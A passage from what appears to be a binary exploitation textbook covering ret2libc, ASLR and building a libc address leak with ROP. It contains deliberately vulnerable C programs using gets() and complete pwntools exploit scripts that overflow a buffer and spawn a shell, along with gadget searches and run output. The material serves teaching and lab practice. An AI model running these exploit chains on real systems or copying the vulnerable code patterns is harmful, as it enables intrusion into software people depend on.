When our input is crafted as described above, the program will first `pop` the location of "/bin/sh" into `rdi`. It will then execute the following `ret` instruction, which will redirect execution to `system()` while "/bin/sh" is in `rdi` as the argument, which will grant us a shell.

The only new task is to find the location of `pop rdi; ret`. This snippet of code is called a *gadget*. Although it's possible to do this manually by searching for all of the `ret` instructions and searching backwards for `pop` instructions, it is much easier to use an automated tool like ROPgadget, and `grep` through the results.

```
> ROPgadget --binary ret2libc | grep "pop rdi"
0x0000000000430758 : pop rdi ; adc byte ptr [rdx + 8], dh ; movaps xmmword ptr [
    rdi], xmm4 ; jmp r9
0x000000000042c3fd : pop rdi ; add eax, dword ptr [rax] ; add byte ptr [rax - 0
    x7d], cl ; ret 0x4910
0x0000000000432179 : pop rdi ; in al, dx ; mov qword ptr [rdi - 0xc], rcx ; mov
    dword ptr [rdi - 4], edx ; ret
0x0000000000431f89 : pop rdi ; in eax, dx ; mov qword ptr [rdi - 0xb], rcx ; mov
     dword ptr [rdi - 4], edx ; ret
0x00000000004bbcde : pop rdi ; insd dword ptr [rdi], dx ; test eax, 0x7d4c8c5d ;
     ret 0xd8f
0x0000000000441d82 : pop rdi ; jmp rax
0x00000000004baca1 : pop rdi ; mov dh, 0x4e ; ret 0x474c
0x000000000049e88e : pop rdi ; mov rax, rbx ; pop rbx ; pop rbp ; pop r12 ; ret
0x0000000000431da9 : pop rdi ; out dx, al ; mov qword ptr [rdi - 0xa], rcx ; mov
     dword ptr [rdi - 4], edx ; ret
0x0000000000431bd9 : pop rdi ; out dx, eax ; mov qword ptr [rdi - 9], r8 ; mov
    dword ptr [rdi - 4], edx ; ret
```

```
0x0000000000431cd5 : pop rdi ; out dx, eax ; mov qword ptr [rdi - 9], rcx ; mov
    byte ptr [rdi - 1], dl ; ret
0x0000000000431c21 : pop rdi ; out dx, eax ; mov qword ptr [rdi - 9], rcx ; mov
    dword ptr [rdi - 4], edx ; ret
0x000000000040214a : pop rdi ; pop rbp ; ret
0x0000000000401526 : pop rdi ; ret
0x000000000047b90d : pop rdi ; std ; inc dword ptr [rbp - 0x76b48a40] ; ret
>
```

Luckily, the exact gadget we need is located at `0x401526`. If we include this address in our input and follow it with the location of "/bin/sh", the program will first `pop` the location of "/bin/sh" into `rdi`, then redirect execution to any address we follow it with. We can find the location of "/bin/sh" with `pwndbg`, vanilla `gdb`, `objdump`, and most importantly for our purposes, `pwntools`.

```
> gdb -q ret2libc -batch -ex "start" -ex "search /bin/sh"
Loaded 113 commands. Type pwndbg [filter] for a list.
Temporary breakpoint 1 at 0x4009e5
ret2libc        0x4a2168 0x68732f6e69622f /* '/bin/sh' */
>
> gdb -nh -q ret2libc
Reading symbols from ret2libc...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x4009e5
(gdb) r
Starting program: /home/devneal/Security/REFE/textbook/example_code/ret2libc

Breakpoint 1, 0x00000000004009e5 in main ()
(gdb) info proc mappings
process 4527
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x4ca000    0xca000        0x0 /home/devneal/
                Security/REFE/textbook/example_code/ret2libc
            0x6c9000           0x6cc000     0x3000    0xc9000 /home/devneal/
                Security/REFE/textbook/example_code/ret2libc
            0x6cc000           0x6f1000    0x25000        0x0 [heap]
      0x7ffff7ffb000     0x7ffff7ffd000     0x2000        0x0 [vvar]
      0x7ffff7ffd000     0x7ffff7fff000     0x2000        0x0 [vdso]
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) find 0x400000,0x4ca000,"/bin/sh"
0x4a2168
warning: Unable to access 3473 bytes of target memory at 0x4c9270, halting
    search.
1 pattern found.
(gdb) q
A debugging session is active.

        Inferior 1 [process 4527] will be killed.

Quit anyway? (y or n) y
>
```

```
> objdump -s ret2libc | grep /bin/sh
 4a2160 6974666e 002d6300 2f62696e 2f736800  itfn.-c./bin/sh.
>
> python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> e = ELF("./ret2libc")
[*] '/home/devneal/Security/REFE/textbook/example_code/ret2libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
>>> hex(e.search("/bin/sh").next())
'0x4a2168'
>>>
```

Each is in agreement: "/bin/sh" is located at `0x4a2168`. We could find the location of `system()` using `gdb`, but we can actually find that programmatically as well.

```
> python
Python 2.7.12 (default, Nov 20 2017, 18:23:56)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> e = ELF("./ret2libc")
[*] '/home/devneal/Security/REFE/textbook/example_code/ret2libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
>>> hex(e.symbols["system"])
'0x40f680'
>>>
>
```

We now have enough information to write an exploit. One possible implementation is below.

```
#!/usr/bin/env python
from pwn import *

e = ELF("./ret2libc")
system_address = e.symbols["system"]
bin_sh_address = e.search("/bin/sh").next()

payload = 'A' * 80
# 0x0000000000401526 : pop rdi ; ret
payload += p64(0x401526) + p64(bin_sh_address)
payload += p64(system_address)

p = process("./ret2libc")
```

```
p.sendline(payload)
p.interactive()
```

We can verify that running the exploit spawns a shell.

```
> ./ret2libc_solution.py
[*] '/home/devneal/Security/REFE/textbook/example_code/ret2libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './ret2libc': pid 13111
[*] Switching to interactive mode
Enter the password:
You don't have permission to perform this action.
$ whoami
devneal
$
```

4.4 ASLR

4.4.1 ASLR

ASLR, or Address Space Layout Randomization, is a mitigation technique in which the locations of the stack, heap, and shared libraries are randomized at runtime. This makes ROP and ret2libc attacks more difficult, since the attacker can't reliably jump to those parts of the code. However, ASLR does not randomize code within a single section. This means that if an attacker can leak the address of any library function they can then learn the locations of all of the code in the library.

4.4.2 Exploiting a leak

Consider this program, which intentionally leaks a libc address.

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
        char name[32];
        puts("Welcome to REFE Corp.");
        puts("Please sign in with your name.");
    printf("By the way, I found this on the floor. Is it yours? %p\n", *(long
        long int*)*(*(int*)*(puts+2)+(puts+6)));
        gets(name);
        printf("Please take a seat, we'll be with you at some point this week.\n
            ");
        return 0;
}
```

In the program above, the address of `puts()` is leaked before the program prompts for input. This means given the copy of libc that the program is using, we can use the function offsets to find the location of every other libc function. In particular, the location of any libc function will be [leaked puts address] - [puts offset] + [function offset].

We can get the program's shared libraries by using the `ldd` command.

```
> ldd use_leak
        linux-vdso.so.1 =>  (0x00007fff6a2f0000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb468d9b000)
        /lib64/ld-linux-x86-64.so.2 (0x000055cf123e1000)
>
```

Ignoring the first and last lines, we see that `use_leak` has `libc.so.6` as a dependency, and that it's located on the system at `/lib/x86_64-linux-gnu/libc.so.6`. Using `objdump`, we can get the offsets of every function in this copy of libc.

```
> readelf --symbols /lib/x86_64-linux-gnu/libc.so.6 | grep -e puts -e system
   186: 000000000006f690   456 FUNC    GLOBAL DEFAULT   13 _IO_puts@@GLIBC_2.2.5
   225: 00000000001387d0    70 FUNC    GLOBAL DEFAULT   13
       svcerr_systemerr@@GLIBC_2.2.5
   404: 000000000006f690   456 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5
   475: 000000000010bba0  1262 FUNC    GLOBAL DEFAULT   13 putspent@@GLIBC_2.2.5
   584: 0000000000045390    45 FUNC    GLOBAL DEFAULT   13
       __libc_system@@GLIBC_PRIVATE
   651: 000000000010d550   703 FUNC    GLOBAL DEFAULT   13 putsgent@@GLIBC_2.10
  1097: 000000000006e030   354 FUNC    WEAK   DEFAULT   13 fputs@@GLIBC_2.2.5
  1351: 0000000000045390    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
  1611: 000000000006e030   354 FUNC    GLOBAL DEFAULT   13 _IO_fputs@@GLIBC_2
      .2.5
  2221: 00000000000782b0    95 FUNC    WEAK   DEFAULT   13
      fputs_unlocked@@GLIBC_2.2.5
>
```

The output above shows that `puts` and `system` have offsets of `0x6f690` and `0x45390` from the start of libc, respectively. Next we can get the address of "/bin/sh" with `strings`.

```
> strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
 18cd17 /bin/sh
>
```

This is everything we need in order to call `system("/bin/sh")`, as shown by this program.

```
#!/usr/bin/python
from pwn import *

PUTS_OFFSET   = 0x06f690
SYSTEM_OFFSET = 0x045390
BIN_SH_OFFSET = 0x18cd17

p = process("./use_leak")
p.readuntil("yours? ")
puts_leak = int(p.readline(), 16)
log.info("leaked puts address: 0x{:>8x}".format(puts_leak))
libc_base_address = puts_leak - PUTS_OFFSET
system_address    = libc_base_address + SYSTEM_OFFSET
bin_sh_address    = libc_base_address + BIN_SH_OFFSET
log.info("found libc base address: 0x{:>8x}".format(libc_base_address))
```

```
log.info("found system address: 0x{:>8x}".format(system_address))
log.info("found \"/bin/sh\" address: 0x{:>8x}".format(bin_sh_address))

rop = "A" * 40
# 0x0000000000400683 : pop rdi ; ret
rop += p64(0x400683) + p64(bin_sh_address)
rop += p64(system_address)

p.sendline(rop)
p.interactive()
```

When run, the exploit spawns a shell.

```
> ./use_leak_solution.py
[+] Starting local process './use_leak': pid 4245
[*] leaked puts address: 0x7f17fbf09690
[*] found libc base address: 0x7f17fbe9a000
[*] found system address: 0x7f17fbedf390
[*] found "/bin/sh" address: 0x7f17fc026d17
[*] Switching to interactive mode
Please take a seat, we'll be with you at some point this week.
$ whoami
devneal
$
```

4.4.3 Making a leak

Programs don't typically leak the addresses of their libc functions for free. In a real program, we would have to first find a bug that causes the program to leak an address (without crashing), then find *another* bug which allows us to leverage that information and take control. Take a look at this program, which will run with DEP/NX and ASLR enabled.

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
        char name[32];
        puts("Welcome to REFE Corp.");
        puts("Please sign in with your name.");
        puts("You tricked us last time with that planted pointer...we won't get
            fooled again.");
        gets(name);
        puts("Please take a seat, we'll be with you at some point this week.");
        return 0;
}
```

We can leverage the buffer overflow in this program to both leak a libc address and take control of the program. After all, we're free to add any code we want via rop, so why not add code to leak a libc address? Then once we have the libc address, we can cause the program to return to the place where we first gained control and this time spawn a shell!

Since the program makes several calls to `puts()`, it must have entries for `puts()` in both its PLT and GOT. We can view them with `objdump` and `readelf`, respectively. We can also find the address of `main()`.

```
> objdump -d -j .plt make_leak | grep -A 3 puts
0000000000400420 <puts@plt-0x10>:
  400420:       ff 35 e2 0b 20 00       push   QWORD PTR [rip+0x200be2]        #
       601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  400426:       ff 25 e4 0b 20 00       jmp    QWORD PTR [rip+0x200be4]        #
       601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40042c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]
--
0000000000400430 <puts@plt>:
  400430:       ff 25 e2 0b 20 00       jmp    QWORD PTR [rip+0x200be2]        #
       601018 <_GLOBAL_OFFSET_TABLE_+0x18>
  400436:       68 00 00 00 00          push   0x0
  40043b:       e9 e0 ff ff ff          jmp    400420 <_init+0x20>
> readelf --relocs make_leak | grep puts
000000601018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 +
     0
> readelf --symbols make_leak | grep main
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND
         __libc_start_main@GLIBC_2.2.5 (2)
    53: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND
        __libc_start_main@@GLIBC_
    63: 0000000000400566    72 FUNC    GLOBAL DEFAULT   14 main
>
```

We can tell from the output above that `puts()` has a PLT address at `0x400430` and a GOT address at `0x601018`. We also see that `main()` is located at `0x400566`. In order to leak the location of `puts()`, we will call `puts()` (by it's entry in the PLT) to print it's own libc location (i.e. it's entry in the GOT). We'll then return to `main()` and spawn a shell just as we did before.

We'll need a "pop rdi" gadget to control the argument to `puts()`. You can find one with ROPgadget.

```
> ROPgadget --binary make_leak | grep "pop rdi"
0x0000000000400613 : pop rdi ; ret
>
```

With this, we have everything we need to leak an address, as shown below.

```
> cat make_leak_solution.py
#!/usr/bin/python
from pwn import *

PUTS_PLT_ADDRESS = 0x400430
PUTS_GOT_ADDRESS = 0x601018
MAIN_ADDRESS     = 0x400566
PUTS_OFFSET      = 0x06f690

rop = "A" * 40

# 0x0000000000400613 : pop rdi ; ret
rop += p64(0x400613) + p64(PUTS_GOT_ADDRESS)

rop += p64(PUTS_PLT_ADDRESS)
```

```
rop += p64(MAIN_ADDRESS)

print rop
>
> ./make_leak_solution.py | ./make_leak
Welcome to REFE Corp.
Please sign in with your name.
You tricked us last time with that planted pointer...we won't get fooled again.
Please take a seat, we'll be with you at some point this week.

Welcome to REFE Corp.
Please sign in with your name.
You tricked us last time with that planted pointer...we won't get fooled again.
Please take a seat, we'll be with you at some point this week.
Illegal instruction (core dumped)
>
```

As you can see, the program both leaks an address (which appears in the terminal as strange characters), and executes `main()` twice before crashing. From here, we need only fill in the rest of the exploit from the previous one.

```
#!/usr/bin/python
from pwn import *

PUTS_PLT_ADDRESS = 0x400430
PUTS_GOT_ADDRESS = 0x601018
MAIN_ADDRESS     = 0x400566
PUTS_OFFSET      = 0x06f690
SYSTEM_OFFSET    = 0x045390
BIN_SH_OFFSET    = 0x18cd17

rop = "A" * 40
# 0x0000000000400613 : pop rdi ; ret
rop += p64(0x400613) + p64(PUTS_GOT_ADDRESS)
rop += p64(PUTS_PLT_ADDRESS)
rop += p64(MAIN_ADDRESS)

p = process("./make_leak")
p.sendline(rop)
p.readuntil("week.\n")

puts_leak = u64(p.read(6) + "\x00\x00")
log.info("leaked puts address: 0x{:>8x}".format(puts_leak))
libc_base_address = puts_leak - PUTS_OFFSET
system_address    = libc_base_address + SYSTEM_OFFSET
bin_sh_address    = libc_base_address + BIN_SH_OFFSET
log.info("found libc base address: 0x{:>8x}".format(libc_base_address))
log.info("found system address: 0x{:>8x}".format(system_address))
log.info("found \"/bin/sh\" address: 0x{:>8x}".format(bin_sh_address))

rop = "A" * 40
# 0x0000000000400613 : pop rdi ; ret
rop += p64(0x400613) + p64(bin_sh_address)
```

```
rop += p64(system_address)

p.sendline(rop)
p.interactive()
```

When the script is run, it does indeed spawn a shell.

```
> ./input_makeLeak.py
[+] Starting local process './makeLeak': pid 22514
[*] leaked puts address: 0xf7636ca0
[*] found libc base address: 0xf75d7000
[*] found system address: 0xf7611da0
[*] found "/bin/sh" address: 0xf77329ab
[*] Switching to interactive mode
Welcome to the No Security Aggregate
Please sign in with your name.
You tricked us last time with that planted pointer...we won't get fooled again.
Please take a seat, we'll be with you at some point this week.
$ whoami
devneal
$
```

5 Exploiting the Heap

6 Reverse Engineering

7 C++